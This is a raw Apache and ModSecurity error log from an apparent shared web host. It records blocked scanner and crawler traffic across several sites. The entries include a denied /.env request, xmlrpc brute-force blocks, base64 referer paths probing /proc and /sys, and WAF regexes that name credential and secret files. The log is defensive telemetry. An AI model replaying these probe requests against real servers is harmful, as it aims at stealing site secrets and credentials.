Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai30kNyTkdrNlD40tSHUMgAAORw"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:23:44.922837 2026] [security2:error] [pid 715691:tid 715810] [remote 17.241.75.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30kLV-dFiaX9AtWiQnEwABP2M"] [Sat Jun 13 18:23:44.979185 2026] [security2:error] [pid 646876:tid 647015] [client 110.249.202.231:17734] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "blog.wesonline.ng"] [uri "/wesonlines-esa-picking-a-career-path-made-easy/"] [unique_id "ai30kNyTkdrNlD40tSHUNQAAAAc"] [Sat Jun 13 18:23:45.025811 2026] [security2:error] [pid 715691:tid 715826] [remote 17.246.23.101:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 101.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30kbV-dFiaX9AtWiQnFAABQ3M"] [Sat Jun 13 18:23:45.074009 2026] [access_compat:error] [pid 715691:tid 715734] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.074435 2026] [access_compat:error] [pid 715691:tid 715734] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:45.103986 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.100:43369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.104411 2026] [access_compat:error] [pid 646876:tid 646963] [remote 57.141.14.100:43369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:45.167120 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:45.167581 2026] [access_compat:error] [pid 646876:tid 647004] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:45.258553 2026] [security2:error] [pid 715691:tid 715753] [remote 103.19.136.6:29463] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.136.19.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ladyrapunzel.habeshacontacts.com"] [uri "/xmlrpc.php"] [unique_id "ai30kbV-dFiaX9AtWiQnGAABbys"] [Sat Jun 13 18:23:45.258846 2026] [security2:error] [pid 715691:tid 715942] [client 103.19.136.6:29463] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "ladyrapunzel.habeshacontacts.com"] [uri "/xmlrpc.php"] [unique_id "ai30kbV-dFiaX9AtWiQnGAABbys"] [Sat Jun 13 18:23:45.363684 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.92:64820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.364017 2026] [access_compat:error] [pid 715691:tid 715743] [remote 57.141.14.92:64820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:45.474215 2026] [access_compat:error] [pid 715691:tid 715714] [remote 57.141.14.22:37894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.474511 2026] [access_compat:error] [pid 715691:tid 715714] [remote 57.141.14.22:37894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:45.499501 2026] [security2:error] [pid 715691:tid 715900] [client 34.123.82.129:36814] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "isoltrading.com"] [uri "/.env"] [unique_id "ai30kbV-dFiaX9AtWiQnHQAAAUU"] [Sat Jun 13 18:23:45.571430 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.36:45072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.571889 2026] [access_compat:error] [pid 646876:tid 646940] [remote 57.141.14.36:45072] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:45.678362 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIyL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:23:45.678848 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIyL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:23:45.908741 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.86:37474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.909174 2026] [access_compat:error] [pid 715691:tid 715775] [remote 57.141.14.86:37474] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:45.996364 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.91:27532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:45.996813 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.91:27532] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:46.214129 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:23:46.214734 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:23:46.292817 2026] [security2:error] [pid 646876:tid 646971] [remote 17.246.23.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ktyTkdrNlD40tSHUdwAAXFw"] [Sat Jun 13 18:23:46.549579 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.99:43974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:46.550052 2026] [access_compat:error] [pid 715691:tid 715759] [remote 57.141.14.99:43974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:46.594362 2026] [security2:error] [pid 715691:tid 715762] [remote 17.22.237.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30krV-dFiaX9AtWiQnPQABJTM"] [Sat Jun 13 18:23:46.747273 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:46.747552 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:46.758107 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.90:56996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:46.758539 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.90:56996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:46.850260 2026] [security2:error] [pid 715691:tid 715830] [remote 3.211.100.186:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "forum.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30krV-dFiaX9AtWiQnRgABN3c"] [Sat Jun 13 18:23:46.850304 2026] [security2:error] [pid 715691:tid 715830] [remote 3.211.100.186:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "forum.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30krV-dFiaX9AtWiQnRgABN3c"] [Sat Jun 13 18:23:47.042437 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.86:37488] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:47.043198 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.86:37488] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:47.224208 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.78:60362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:47.224687 2026] [access_compat:error] [pid 715691:tid 715832] [remote 57.141.14.78:60362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:47.291620 2026] [access_compat:error] [pid 715691:tid 715801] [remote 57.141.14.105:60338] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:47.292081 2026] [access_compat:error] [pid 715691:tid 715801] [remote 57.141.14.105:60338] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:47.319583 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:47.319963 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:47.579441 2026] [security2:error] [pid 715691:tid 715764] [remote 17.241.75.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30k7V-dFiaX9AtWiQnVAABDTU"] [Sat Jun 13 18:23:47.593806 2026] [access_compat:error] [pid 715691:tid 715738] [remote 57.141.14.36:45102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:47.594265 2026] [access_compat:error] [pid 715691:tid 715738] [remote 57.141.14.36:45102] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:47.662151 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.92:64824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:47.662434 2026] [access_compat:error] [pid 715691:tid 715754] [remote 57.141.14.92:64824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:47.802344 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:23:47.802828 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:23:48.319313 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:23:48.319631 2026] [access_compat:error] [pid 646876:tid 646923] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:23:48.519146 